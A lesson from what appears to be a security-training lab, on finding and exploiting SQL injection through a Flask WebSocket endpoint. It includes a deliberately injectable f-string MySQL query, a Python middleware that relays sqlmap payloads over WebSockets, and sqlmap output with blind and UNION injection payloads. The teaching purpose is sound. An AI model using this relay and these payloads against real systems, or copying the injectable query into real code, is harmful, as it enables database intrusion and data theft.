Modern Web Exploitation Techniques  

Exploiting SQLi via WebSockets


Inserting unsanitized user input from WebSocket connections into SQL queries can lead to SQL injection (SQLi) vulnerabilities, as with HTTP requests. However, due to the lack of WebSockets support in many exploitation tools, abusing WebSockets SQLi vulnerabilities can often be more challenging.


Code Review - Identifying the Vulnerability

Instead of enabling us to send messages to other users, this section's web application only displays messages that are available to a given user. For instance, when the username htb-stdnt is provided, two messages are displayed:

Providing an invalid username, such as doesnotexist, results in an error message:

Let us analyze the web application's source code to understand how it functions. There is a WebSocket endpoint to handle usernames a client sends:

@sock.route('/dbconnector')
def dbconnector(sock):
    while True:
        response = {}

        try:
            data = sock.receive(timeout=1)
            if not data:
                continue
            
            username = json.loads(data).get('username', '')
            response["username"] = username
            messages = query(username)

            if not messages:
                response['error'] = "No messages for this user!"
            else:  
                response['messages'] = [msg[0] for msg in messages]

            sock.send(json.dumps(response))

        except Exception as e:
            response['error'] = "An error occured!"
            sock.send(json.dumps(response))

Upon receiving data via the WebSocket connection, the server attempts to parse it as a JSON string; then, it passes the username property to the query function (in case there are no errors, the result is returned to the client as a JSON object). If we scrutinize the query function, we can identify an evident SQLi vulnerability:

def query(username):
    mydb = mysql.connector.connect(
        host="127.0.0.1",
        user="db",
        password="db-password",
        database="db"
    )

    mycursor = mydb.cursor()
    mycursor.execute(f'SELECT message FROM users WHERE username="{username}"')
    return mycursor.fetchall()

Debugging the Code Locally

To run the Python web application locally, we must install the three dependencies using pip: Flask, flask-sock, and mysql-connector-python.

The web application attempts to connect to a MySQL instance on localhost; instead of installing a MySQL server on our local machine, we can make use of a MySQL Docker container with the following parameters:

[!bash!]$ docker run -p 3306:3306 -e MYSQL_USER='db' -e MYSQL_PASSWORD='db-password' -e MYSQL_DATABASE='db' -e MYSQL_ROOT_PASSWORD='db' mysql

This creates a new MySQL server for us with the credentials given in the source code. However, the database is empty. Since we only want to confirm the SQLi vulnerability, this is fine for our use case. However, in other scenarios, seeding the database with sample/dummy data allows us to test the local instance more thoroughly.

After changing the port to a non-privileged one, we can start the web application and access it locally. To confirm the SQLi vulnerability, we will use " UNION SELECT "1 as the username:


Exploitation

sqlmap is the tool of the trade for exploiting SQLi vulnerabilities; however, sometimes, it has trouble handling WebSocket connections. Therefore, we will write a middleware on our local machine that receives the SQLi payload from sqlmap in an HTTP request parameter, opens a WebSocket connection to the vulnerable web application, and forwards the payload via it. This allows us to use sqlmap for WebSocket connections. While sqlmap can handle WebSocket connections independently, this approach allows us more control over the WebSocket handshake. It is thus applicable to a broader variety of web applications.

To develop the middleware, we must install two packages using pip: Flask and websocket. The middleware is a simple Flask web application consisting of a single endpoint that parses the username GET parameter and forwards the data in the correct JSON format to the vulnerable web application through a WebSocket connection:

from flask import Flask, request
from websocket import create_connection
import json

app = Flask(__name__)

WS_URL = 'ws://172.17.0.2/dbconnector'

@app.route('/')
def index():
    req = {}
    req['username'] = request.args.get('username', '')

    ws = create_connection(WS_URL)
    ws.send(json.dumps(req))
    r = json.loads(ws.recv())
    ws.close()

    if r.get('error'):
        return r['error']

    return r['messages']

app.run(host='127.0.0.1', port=8000)

Afterward, we will run sqlmap to exploit the SQLi vulnerability, pointing it towards the middleware:

[!bash!]$ sqlmap -u http://127.0.0.1:8000/?username=htb-stdnt

sqlmap identified the following injection point(s) with a total of 70 HTTP(s) requests:
---
Parameter: username (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: username=htb-stdnt' AND 1426=1426 AND 'pYBp'='pYBp

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=htb-stdnt' AND (SELECT 4655 FROM (SELECT(SLEEP(5)))yezp) AND 'EeMR'='EeMR

    Type: UNION query
    Title: Generic UNION query (NULL) - 1 column
    Payload: username=htb-stdnt' UNION ALL SELECT CONCAT(0x7171626a71,0x6c634b4f4c7662574678666a5164434a617349627972495247707456704761666e4f785766794c50,0x7178627071)-- -
---
[11:44:36] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12

Changing WS_URL in the middleware to point to the remote system and running the same sqlmap command will exploit the vulnerable web application.

Note: We can attempt supplying the WebSocket URL directly to sqlmap.

Note: While we've demonstrated the exploitation of XSS and SQLi over WebSockets, it's worth noting that similar techniques can be applied to exploit other prevalent web vulnerabilities, including Command Injection or Local File Inclusion (LFI).

/ 1 spawns left

Waiting to start...

Questions

Answer the question(s) below to complete this Section and earn cubes!

Click here to spawn the target system!

Target: Click here to spawn the target system!

+10 Streak pts

Previous

+10 Streak pts

Next